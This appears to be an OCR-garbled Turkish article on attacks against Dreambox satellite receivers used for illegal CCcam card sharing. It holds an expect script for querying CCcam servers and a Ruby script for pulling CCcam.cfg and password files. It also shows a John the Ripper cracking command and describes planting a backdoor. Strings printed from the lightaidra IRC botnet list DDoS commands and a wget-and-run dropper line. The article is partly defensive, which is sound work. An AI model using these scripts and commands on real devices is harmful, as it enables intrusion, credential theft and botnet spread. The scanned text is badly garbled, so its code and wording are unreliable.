Sayisal Uydu Ahcilar ve internetteki giivenlikleri

Teknoloji tirtinlerinin satildig1 magazalarda {iriin temsilcileri genellikle cihazlarin internet 6zelliklerinden bahsederler.
Artik cihazlarin neredeyse olmazsa olmaz 6zelliklerinin baginda internete ¢ikis yapip yapmadig gelir. Giin gectikge,
Internet nasil yayginlastiysa, satisa sunulan cihazlarinda interneti
destekleyip desteklemedigi 6n plana ¢ikacaktir.

Ister TV olsun, ister sayisal(dijital) uydu alicisi(receiver) olsun éncelikle
miisteriler tarafindan sorulan sorularm basinda internet destegi olup
olmadigidir. Sayisal uydu alicilarinin internet destegi olmasinin ne faydasi
vardir? Ozellikle sifreli TV yaymlarmi izlemek isteyen kisilerin hukuksal
olmayan yollardan yayinlar1 izlemek i¢in uydu alicilarinda internet ¢ikisi .
olup olmadigini incelemekteler. Bunun i¢in kisi; sifreli/parali kanallar1 m
izlemek i¢in piyasada bulunan sayisal uydu alicisi(klon iiriinleri ucuzdur.) ===

ve CCcam / Kart paylagim(bu statiiye IPTV hizl bir giris yapmugtir.)

konularinin diinyasina merhaba der.

Anlatma istedigim bu diinya icerinse de yer alan giivenlik zaafiyetlerine kiigiik bir giris yapmak. Sanal uydu diinyasinda
Dreambox uydu alicilarinin ayr1 bir yeri vardir. Neden ayr1 bir yeri vardir? Sifreli kanallarin izlenmesi i¢in gliniimiizde kart
paylasim islevleri artmistir. Sayisal uydu diinyasinda da bir nevi yasal olmayan islem sayisi da kart paylagim oraninda artma
gostermistir. Bu tiir cihazlarin yazilimlar1 agik kaynak kod olarak sevenleri tarafindan gelistirilmektedir.

Bu konulara merakl1 kullanici, kart paylagim destegi olan uydu cihazmi(internet destekli olmazsa olmaz) sifreli kanallari
izlemek i¢in; dncelikle CCcam satis1 yapan biriyle anlasir ve karsiliginda CCcam sunucu olarak kullanilan makineye(Linux)
girig yapip sifreli kanallar1 izlemesini saglayacak bir ayar yapar. Bu ayar sonucu kisiye bir “CCcam.cfg” adi altinda bir
dosya iletir ya da CCcam sunucusuna giris yapmasi i¢in sunucunun IP adresini ve kullanici bilgilerini génderir(¢ozme
igslemi). Neticesinde uydu alic1, kart paylagimi yapan sunucuya
baglanarak sifreli yayinlarin izlenmesi saglanir. Bu islemi
derinlemesine anlatmayacagim. Sadece buraya kadar normal(!)
gorilinen iglemler sonucunda zaafiyet olarak neler ortaya ¢ikarir
bunu irdeleyecegim. Kullanici agisindan bakildiginda “Internete
bagladigim bir sayisal uydu alicim bana ne gibi bir zarari
dokunabilir ki?”” denilebilir. Sifreli kanallar1 izlemek igin cuzi
miktarda para verip uydu aliciniza ayar yaptirdimiz(hersey
CCcam.cfg dosyasinda saklidir). Bir siire sonra sifreli yayinlari
izleyememeye basladiginiz. Hemen paray1 verdiginiz kisiyle
goriistiiniiz ve size su yanit1 verme olasilig1 yiiksektir®.
Sunucumuzda size atadigimiz kullanici adina birden fazla IP
adresi kullaniyor bu nedenle hesabiniz1 sildik”. Bir an kisi sarsint1
gecirir. Aslinda sanal uydu alicisina baska biri erisim yaparak
gerekli dosyalar1 almig(Hacking) ve menfaatine kullanmustir.
Aslinda CCcam sunucu olarak kullanilan bilgisayara sizma iglemi
gerceklestiyse, bu sunucuda da saldirgan kendisine kullanict
tanimlayarak sessizce sayisal uydu alicisinin kumandasinda
gezinti yapar, tebesstiimle korsandan korsana sayisal olarak merhaba gonderir. CCcam sunucu iiyeligine iicret
odeyip,yapilandirma bilgilerinin ¢alindigin1 bildiren kisilerinin sayis1 az degildir. Saldirganin uydu alicisinin yapilandirma
(CCcam.cfg v.b. dosyalar) bilgilerinin ele gegirmesi i¢in bazi islemler gerceklestirir.

Bu bilgilerin ele gegirilmesi hususunda birgok senaryo iiretilebilir. Oncelikle, kart paylasim destegi veren sayisal uydu
alicisinin bazi portlarinim kontrol edilmesi gerekir. Belirttigim gibi kart paylagim desteginin 6nciilerinden olan Dreambox
sayisal uydu alicisinin giivenlik konusuna deginecegiz (genelleme yapabilir). Kart paylasim destegi veren(hukuk agisindan
uygun olmayan bu durum sifreli uydu kanallarini izlemek i¢in bagvurulan popiiler bir yoldur) bir sunucu i¢in veri iletisimi
i¢cin dnemli portlar vardir. CCCam sunucu i¢in kayda deger iletisim portlari(degistirilmedigi stirece) 12000, 16000 ve

16001 nolu kapilardir. 12000 numarali port, sunucu ile sayisal uydu alicis1 paylagim iglemi i¢in veri alig verigini gergeklestir.
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16001 numarali port, “CCcam server web info” olarak adlandirilir. Sunucuya bagl kart paylasim destegi alan kullanicilarin
bilgileri web iizerinden goriilebilir(Kullanici adi,sifre destegi, kullanici IP adresleri). 16000 numaral port ise kart paylagim
bilgilerini web iizerinden degil, sunucuya dogrudan baglant1 ger¢eklestirip bir dizi komut girilmesiyle bilgiler almir(telnet
sunucu 16000).

Internete aktif olarak bagh sayisal uydu alicilara yonelik saldirmin bas kaynag1 16000 ve 16001 numaralar1 portlarm
araciligi ile gergeklesir.

Bu saldir1 nasil olmaktadir? Saldirgan faal olarak dogrudan internete bagli olan ve CCcam destegi alan sayisal uydu
alicilarmi tespit etmesi biraz zordur. Saldirganin kullanicilara ulasmasi igin yapmasi gerekenin baginda, CCcam sunucularini
tespit edip, bu sunucularin portlarini test ederek kart paylagim destegi alan kullanicilarin ip adreslerini tespit etmektir.
Sayisal uydu cihazi kullanicilarinin bir kismi(!) internet araciligiyla uydu alicinin web arayiiziine(80. port) baglanarak uydu
kanallar1 izleyebilmektedir. Bu nedenle saldirgan, alicinin web arayiiziiniin zaafiyetini kullanarak alicidan gerekli ayar
dosyalarini alip(CCcam.cfg, IPTV baglant1 dosyas1 v.b.) kendi istegince kullanabilir. Hatta dijital uydu alicisina
backdoor(arkakap1) yerlestirerek kontrol altina alabilir.

Bu tiir saldirilar giiniimiizde yasanmig olaylardir. Adim adim Sayisal uydu alici kullanicilarina nasil yetkisiz erigim
saglandigini gorelim.

[k adim belirttigim gibi CCcam sunucularini tespit ettikten sonra paylasim alan kullanicilarin IP adreslerini bulmak.
Boylece saldirgan, bu IP adresleriyle sayisal uydu alicilaria bir adim daha yaklasmak i¢in gerekli ortami saglayacaktir.

Modem . _ Q\ﬁ

Kart paylasim sistemi [nternet o )
Sayisal Uydu &hcis
(Dijital Receiver)

Cozme iglemi

elcome to CCcam 2.3.0 server

Home | Active Clients || Clients || Servers | Shares || Providers || Entitlements

pnnected clients: 2

————————— B e D D s 2 e e
Username| Host | Connected | Idle time | ECM | Version| Last us
————————— B e D D s 2 e e

————————— B e e L R R P

Username| Shareinfo |
————————— B e et L L P R P

I local
omntien | 1ocal

Port: 16001 - CCcam Web Info
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Sunucunun 16000 numarali portuna baglanildiginda sunucu komut beklemektedir. Baglanti i¢in “telnet” komutu
kullanilabilir(1).

(1) # telnet ip-adresi 16000

Baglant1 isleminden sonra sunucu komut bekleme asamasina gecer. Bu asamada saldirgan bir dizi komut yardimiyla gerekli
bilgileri alir. Komutlar tamamiyla CCcam sunucunun kendi komutlaridir. Saldirgan komutlar1 bilgi almak i¢in
kullandigindan dolayr komutlarin hepsini biitiiniiyle hakim olsa bile en 6nemlisi “activeclients” ve “servers” komutlaridir.
“activeclients” komutuyla sisteme bagli olan sayisal uydu alicilarinin IP adresleri goriilmektedir(2).

(2) “activeclients” komutunun sonucu

Fakat saldirgan baglant1 i¢in bu islemleri tek tek yapmaktansa bilgileri elde etmek i¢in bir kod hazirlayip otomatik olarak

islemleri gergeklestirir(3).
o
@I

0’
Sayisal uydu ahcasina ait

Gnemli yazilim ayar dosyalar
> Hackerin eline gecer.

Hacker

(3) Tarama Islemi



receiver-komut.exp
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#!/usr/bin/expect -f

set timeout 10

set host [lindex $argv 0]
set komut [lindex $argv 1]
if {[llength Sargv] =2} {

puts stderr "\nCCcam Sunucu Analiz --- Tacettin Karadeniz <tacettink@olympos.org>\n"

puts stderr "KULLANIMI: $argv0 <IP/HOST> <Komut>\n"

puts stderr "Komutlar: \n-info\n-activeclients\n-clients\n-servers\n-shares\n-providers\n-entitlements\n

exit }

spawn telnet $host 16000

expect "Welcome to the CCcam information client."
send "$komut\r"

interact

exit

Elde edilen bilgiler neticesinde aktif IP adresleri, saldirgan tarafindan artik birer hedef haline gelir.

Bu IP adresleri iizerinde tarama sonucunda elde edilecek bilgilerin basinda, port durumlar1 gelmektedir. Onemli olan 21(F7P)
/23(1ELNET) ve 80(HTTP). portlarin durumlaridir. Sayisal uydu alicilarinda genellikle bu portlar kullanima agiktir. Uydu
alicisina dosya transferi, yonetim ve web tizerinden uydu kanallarini izlemek i¢in bu portlar kullanimdadir(4). Bu portlar
internet iizerinden erigim saglanacak sekilde ayarlandiginda(gerekli ayarlar yapilmazsa) sayisal uydu cihazina istenmeyen

baglantilar saglanabilir.
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(4) Sayisal uydu alicisinin web arayiizii

Sayisal uydu alicinin IP adresini tespit edildikten sonra 80. portun durumu incelenir. Port aktif ise saldirgan web arayiiziinde
zaaflik mevcut olup olmadigmi kontrol eder. Zaaflik mevcutsa alicidan dnemli ayar dosyalar1 alinir. Béylece kontrol tam
olarak saglanmig olur. Saldirgan i¢in dnemli dosyalarin basinda "passwd(shadow)" ve "CCcam.cfg" yapilandirma dosyalari
gelmektedir.

receiver-test.rb

require

print "\nIE Hostc: ©

host = gets.chomp

port =

dosya = "/ il
kontrol = "GET #{dosya} HITEF/1.O0%\r'\n\r\n"

socket = ICPFSocket.open{host,.port)
socket.print (kontrol)

vanit = socket.read
headers,body = yanit.split({"‘rn\c\n", }
print "‘n"

print body
print "‘n"

(5) Alinan CCcam.cfg dosyast
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(6) Alinan password dosyast

Ele gecirilen bu dosyalar araciligiyla saldirgan kendi uydu alicisini diizenleyerek(6zellikle CCcam dosyalart) sifreli uydu
kanallarini izler(7).

Saldirgan kullameren sisteminden ele gecirdia lgiler kend sistemine entegre eder,

L4

()

Saldirgan, ele gecirdigi dosyalarin vasitasiyla bir adim daha ilerleyerek kendini uydu alicisinin sistemine dahil olmak
isteyebilir. Bu islemi gerceklestirebilmek i¢in alictya FTP(21) ya da TELNET(23) ile baglant1 kurmas1 gerekir. Bu portlar
erisim durumunda ise web arayiiziinde bulunan zaafiyet sonucu ele gegirilen “password” dosyasi(6) kirilarak(cracking)
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baglanti sifresi elde edilir.

Ele gecirilen dosyanin kirma iglemi i¢in “john(john the ripper)” kullanilir(alternatifleri de mevcuttur).

“John The Ripper” GPU destekli(ekran kart1 destekleniyorsa) derlenip kirma islemide GPU yardimiyla gerceklesirse hizli
bir kirma islemi olabilir(GPU konusuna girmiyorum).

Ele gecirilen dosyanin kirma islemi:

# john —format=md5crypt-cuda -w:/sozluk/dosya.txt —pot=dream.pot /dreambox/password.txt
Loaded 1 password hash (mdScrypt [CUDA])

mydream (root) R S— Bingo !!!

Sayisal Uydu alic '

Web Sunucusu
w

Saldirgan, dnceden sizinti islemini gergeklestirdigi sayisal uydu alicisina backdoor{arkakapi)
yverlestirerek, istedigi zaman uydu alicisina badlanabilir. Arkakapimin gérevi; Sayisal uydu alicisi
Internete baglandign anda gerekli bilgileri bir Web sunucusuna aktarmaktir.

Hacker

®

Kullanic1 adina karsilik(bas aktor kullanict adi: root) sifre kirildiktan sonra saldirgan sayisal uydu alicisina baglanir(9 / 10).

®
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Baglanti agamasindan sonra ilerleyen zamanlarda tekrar uydu alicisini kontrol etmek isterse sisteme bir arka kap1
yerlestirebilme olasilig1 mevcuttur(8). Boylece sayisal uydu alicisinin yapilandirma dosyalarinda degisiklik olsa da(sifre
degisimi v.b.) baglant1 saglanabilir. Kullanici, uydu alicisinin donanim yazilimini giincellerse(firmware update) tiim bilgiler
stfirlanir.

(10)
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(11

Son zamanlarda bazi donanimlara solucanlar(worm) bulagsmaya basladi(Botnet olusturulma amaci giidiilmektedir). Bulasma
islemi donanima ait yazilimlarinin yapilandirilma ve sifre durumundan kaynaklanir. Ozellikle Modem/Router gibi
cihazlarda basit sifre kullanilmasi solucanlarin yayilimini kolaylastirmistir. Bunlarin baginda “Psyb0¢” gelmistir(Chuck
Norris olarak adlandirilan zararl yazilimda bu kategoridedir). Su an ¢esitli modem, router, sayisal uydu alicisi gibi cihazlara
entegre olup IRC iizerinden kontrol edilen zararli yazilim kullanilmaya baglanmistir. Bu yazilim: “lightaidra’ olarak
adlandirilmaktadir(14). Gordiigiim kadariyla bir¢ok cihaza bulagip kontrol edilmesine olanak vermistir. Kontrol islem IRC
ortaminda kanallar {izerinden ger¢eklesmektedir(12/13). Birgok sistem iizerinde ¢alistirilip kontrol edilme dzelligi dikkat
¢ekicidir(11). Kullanicinin tespit edebilmesi i¢in(sayisal uydu alicisina bulastiysa) ¢alisan prosesleri iyi incelemesi
gerekmektedir. Bulastig1 sistemde /var/run dizini altina kendisini kopyalar. Dosyalarda degisiklik yapilmadig: takdirde
¢ogunlukla; mipsel, mips, arm, ppc adlarini alir. Proseslerde bu isimle ¢alisan uygulamalara dikkat etmek gerekir.

# strings mipsel-

PRIVMSG %s :[login] you are logged in, (%s).
PRIVMSG %s :[!login] sorry, wrong authenthication password!
5a.bbb.ccc.dd3:8080|5a.bbb.ccc.dd7:8080
%d.%d.%d.%d

#mybotnetworld

NICK %s

USER pwn localhost localhost :my-world
TOPIC %s

%1275%315%315%315%3 15%3 15%3 15%31s
NICK %s

r.advscan->recursive

:.advscan->random->b

:.advscan->random

PING

PRIVMSG

:login

:logout
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PRIVMSG %s :* *** Access Commands:

PRIVMSG %s :
PRIVMSG %s :

*** Scan Commands
.advscan <a><b>  <user> <passwd> - scan with user:pass (A.B) classes sets by you

PRIVMSG %s :*
PRIVMSG %s :* .login <password> - login to bot's party-line
PRIVMSG %s :* .logout - logout from bot's party-line
PRIVMSG %s :* *** Miscs Commands
PRIVMSG %s :* .exec <commands> - execute a system command
PRIVMSG %s :* .version - show the current version of bot
PRIVMSG %s :* .status - show the status of bot
PRIVMSG %s :* .help - show this help message
*
*
PRIVMSG %s :* .advscan <a> <b> - scan with d-link config reset bug
PRIVMSG %s :* .advscan->recursive <user> <pass> - scan local ip range with user:pass, (C.D) classes random
PRIVMSG %s :* .advscan->recursive - scan local ip range with d-link config reset bug

PRIVMSG %s :* *** DDos Commands:

PRIVMSG %s :* NOTE: <port> to 0 = random ports, <ip> to 0 = random spoofing,

PRIVMSG %s :* use .*flood->[m,a,p,s,x] for selected ddos, example: .ngackflood->s host port secs

PRIVMSG %s :* where: *=syn,ngsyn,ack,ngack m=mipsel a=arm p=ppc s=superh x=x86

PRIVMSG %s :* .spoof <ip> - set the source address ip spoof

PRIVMSG %s :* .synflood  <host> <port> <secs> - tcp syn flooder

PRIVMSG %s :* .ngsynflood  <host> <port> <secs> - tcp ngsyn flooder (new generation)PRIVMSG %s :* .ackflood <host> <port> <secs> - tcp
ack flooder

PRIVMSG %s :* .ngackflood <host> <port> <secs> - tcp ngack flooder (new generation)

PRIVMSG %s :* *** EOF

JOIN %s :%s

rm -rf /var/run/getbinaries.sh;mv -f /ust/bin/-wget /ust/bin/wget;mv -f /bin/-wget /bin/wget ;wget -¢ %s/getbinaries.sh -P /var/run && sh
/var/run/getbinaries.sh&

http://danger.<__ >.com

PRIVMSG %s :[nsynflood] packeting completed!

QUOTE ZOMBIE
#tkanal Gzerinden komut gédnderimi
. fkanal
A - T ——
Sayisal Uydu alic IRC Sunucu
ftkanal
(12)
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EYie gl S8 54 [Plvatdianot [E2)[Pledugvn7a0 (3 [PIFEUES27d3 (2] [Plofidoamtsi 53] PlaweppBamt 2] [PRGv32qmay2

A [M]ajltliioxS
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[HS]aqirheB2468
[MS]chh71_byel
[MS]clzucfflg3
[MS]dxtptczpi
[MS]FBF3engzih
[HS]hzutzd8%bu
[MS]i15tquaukb
[MS]i6szojBeyn
[MS]1jt_vaymkiv
[WSImzp2b2bnqy
[MS]o_Bjto87sy
[MS]ohZhny3t1F
[MS]osydkurh2u
[HS]qmg_a@stfd
[MS]rl_edxugni
[MS]tBgrgt2hba
[MS]utdn55qdge
[MS]v_pmlkig8j
[HS]x786cohulr
[HS]xultckus8F
[MS]ys86KkIplel
[P]18za_1fdyul
= Mow talking in i W [P]1[|t8729|.]d2
= Topic is . aduv___ 1. __°__->b root dreambox® [P]11blmc3hiut
= Set by .. ... 7.1 CLD 1D I1.IBM [P]1disxkéc?E
[P]22201u1qd
[P1284t

(13) Biitiiniiyle Modem, Router, Sayisal uydu alicilar v.b. cihazlara bulasmis bir zararli yazilimla Botnet olusturulmus.

] Filename Edit Rename  Delefe Size
L am- 7 T e 2024 Kb
C getbinaries.s! T @ !

th h 3.1 Kb
[ index.ntm 7 T =) 1.5Kb
L] mips- T =) 266.2 Kb
J mipsel- T @ A

| 266.2 Kb

] ppe- & T =) 195.0 Kb

(14) lightaidra

Yukarida tespit ettigim “lightaidra” tehlikeli yazilimina ait bir dosyasinda yer alan igerik(karakter dizimleri) goriinmektedir.
Kullanmakta oldugumuz cihazlar1 yoneten, biinyelerinde bulunan yazilimlardir. Kullanicilar yazilimlarla genellikle muhatap
olmazlar, dogrudan satin aldiklar1 cihazin 6zelliklerini inceleyerek yorum yapmaktadirlar. Bir cihazi dogrudan internet
diinyasina bagladigimizda ve aktif olarak bu cihazi internet iizerinden de kontrol ediyorsak bazi konularda dikkat etmek
gerekir. Ozellikle sifrelere.

Not: Bu yazida belirtilenler tamamiyla bilgi amaghdir. Sifre kirmak ve bu vasitayla TV yayin1 yapmanin sug oldugu
belirtilmektedir.
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Tacettin KARADENIZ
<tacettink {@ } olympos.org>
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